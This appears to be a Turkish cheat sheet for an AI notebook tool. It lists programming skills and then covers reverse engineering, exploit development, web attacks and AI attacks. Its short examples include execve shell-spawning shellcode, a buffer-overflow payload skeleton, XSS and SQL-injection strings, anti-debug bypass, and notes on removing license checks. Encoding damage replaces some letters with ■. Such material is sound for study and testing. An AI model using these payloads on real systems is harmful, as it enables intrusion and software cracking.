NotebookLM Ultimate - Yaz■l■m, Güvenlik ve Tersine Mühendislik

1. Popüler Kodlama Dilleri ve Kapsamlar■

- Python (otomasyon, veri analizi, AI)
- JavaScript (web geli■tirme, Node.js)
- Java (Android geli■tirme)
- C / C++ (sistem yaz■l■mlar■, gömülü sistemler)
- C# (Unity, masaüstü uygulamalar■)
- PHP (web backend)
- Go (yüksek performansl■ backend)
- Rust (sistemsel güvenlik ve performans)

2. Web Geli■tirme Yetenekleri

- HTML, CSS, JavaScript
- React, Vue.js, Angular
- Tailwind CSS, Bootstrap
- REST API / GraphQL

3. Veri Bilimi ve Yapay Zeka

- NumPy, Pandas
- Scikit-learn, TensorFlow, PyTorch
- Matplotlib, Seaborn

4. Veritaban■ Bilgisi

- MySQL, PostgreSQL, SQLite
- MongoDB, Redis

5. Mobil Geli■tirme

- Flutter (Dart)
- React Native
- Java (Android), Swift (iOS)

6. Otomasyon & Betikler

- Python betikleri
- Bash Shell scriptleri
- PowerShell

7. Yard■mc■ Araçlar ve Sistem Bilgisi

- Git & GitHub
- Docker & Kubernetes (temel)
- Linux komutlar■

8. NotebookLM Yetenek Geni■letme Format■

- Bilgi öbekleri (prompt tabanl■ e■itim)
- Kod yorumlama ve analiz yetene■i
- Hata ay■klama (debug) algoritmalar■
- Gerçek zamanl■ sorgulama için d■■ veri i■leyici betikler (opsiyonel olarak)

9. Geni■ Kapsaml■ Tersine Mühendislik Yetenekleri ve Kod Örnekleri

- **APK Decompile**:
  * Araçlar: apktool, jadx, dex2jar
  * Örnek kullan■m:
    ```bash
    apktool d app.apk -o decoded_app
    jadx -d src app.apk
    ```

```

- **Binary Analizi**:
  * Araçlar: Ghidra, IDA Pro, Radare2
  * Ghidra örnek analiz ak■■■:
    - Binary içe aktar■l■r
    - Otomatik disassembler çal■■t■r■l■r
    - String ve fonksiyon listesi analiz edilir

- **Dinamik Analiz (Runtime Hooking)**:
  * Araçlar: Frida, Xposed, Burp Suite
  * Örnek Frida script:
    ```js
    Java.perform(function() {
      var cls = Java.use('com.target.app.MainActivity');
      cls.secretMethod.implementation = function() {
        console.log('Hooked secretMethod!');
        return this.secretMethod();
      }
    });
    ```

- **Anti-Debug ve Anti-Tamper Atlatma**:
  * Teknikler: ptrace bypass, checksum fix
  * Python ptrace bypass örne■i:
    ```python
    import ctypes
    libc = ctypes.CDLL('libc.so.6')
    libc.ptrace.restype = ctypes.c_long
    if libc.ptrace(0, 0, None, None) == -1:
        print('Anti-debug aktif!')
    else:
        print('Debug ortam■ temiz.')
    ```

- **Patchleme ve Crackleme Teknikleri**:
  * Binary içindeki string/method patchleme (hex editör, python)
  * Lisans kontrollerinin kald■r■lmas■

10. Exploit Geli■tirme, Shellcode ve Kernel Debugging

- **Buffer Overflow Temelleri**:
  * Exploit yap■s■: NOP sled + shellcode + EIP overwrite
  * Python örnek exploit:
    ```python
    buffer = b"A" * 2606 + b"\x8f\x35\x4a\x5f" + b"\x90" * 16
    shellcode = b"\xcc" * 100  # örnek (int3 breakpoint)
    payload = buffer + shellcode
    ```

- **Shellcode Yaz■m■ (Linux x86)**:
    ```

  * Basit shell açma shellcode:
    ```asm
    xor eax, eax
    push eax
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    push eax
    push ebx
    mov ecx, esp
    mov al, 11
    int 0x80
    ```

- **ROP (Return-Oriented Programming)**:
  * Zincirleme gadget'lar ile bypass
  * ROPgadget arac■ ile analiz:
    ```bash
    ROPgadget --binary vulnerable | grep 'pop'
    ```

- **Kernel Debugging (Linux)**:
  * Araçlar: `gdb`, `qemu`, `crash`, `dmesg`
  * Kernel panik analizi örne■i:
    ```bash
    dmesg | grep -i panic
    gdb vmlinux /proc/kcore
    ```

- **Exploit Geli■tirme Süreci**:
  * Hedef tespit → Vulnerability fuzzing → Exploit PoC → Privilege escalation
  * Metasploit Framework modül örne■i geli■tirme

11. Web Uygulama Güvenlik Aç■klar■ ve Exploit Teknikleri

- **XSS (Cross Site Scripting)**:
  * Reflected, Stored ve DOM tabanl■ türler
  * Örnek payload:
    ```html
    <script>alert('XSS')</script>
    ```
- **SQL Injection**:
  * Union-based, Error-based, Blind
  * Örnek:
    ```sql
    ' OR 1=1 --
    ```
- **CSRF (Cross Site Request Forgery)**:
  * Kullan■c■n■n taray■c■s■ üzerinden sahte istek gönderme
  * Koruma: CSRF token
- **File Upload Bypass**:

  * ■çerik tipi ve uzant■ kontrollerinin atlat■lmas■

12. Mobil Güvenlik ve Tersine Mühendislik

- **Android Güvenlik Testleri**:
  * Apktool, jadx, Frida ile analiz
  * AndroidManifest.xml'de izin analizi
- **iOS Güvenlik Testleri**:
  * Jailbreak sonras■ uygulama içi dinleme (cycript, frida)
- **OWASP MASVS Kapsam■**:
  * Uygulama kod güvenli■i
  * Veri güvenli■i
  * A■ ileti■imi güvenli■i

13. Yapay Zeka Güvenli■i ve Sald■r■ Senaryolar■

- **Adversarial Examples**:
  * Küçük görsel de■i■ikliklerle modelin yan■lmas■na sebep olunabilir
  * Örnek kod (FGSM sald■r■s■):
    ```python
    perturbed_image = image + epsilon * image.grad.sign()
    ```
- **Model Ezi■i (Model Stealing)**:
  * Sorgu-temelli yan■tlarla bir modeli yeniden e■itme
- **Prompt Injection**:
  * LLM’lere özel komut enjekte etme sald■r■lar■
- **Veri Seti Zehirleme (Data Poisoning)**:
  * E■itim verisine zararl■ örnekler eklenerek model manipüle edilir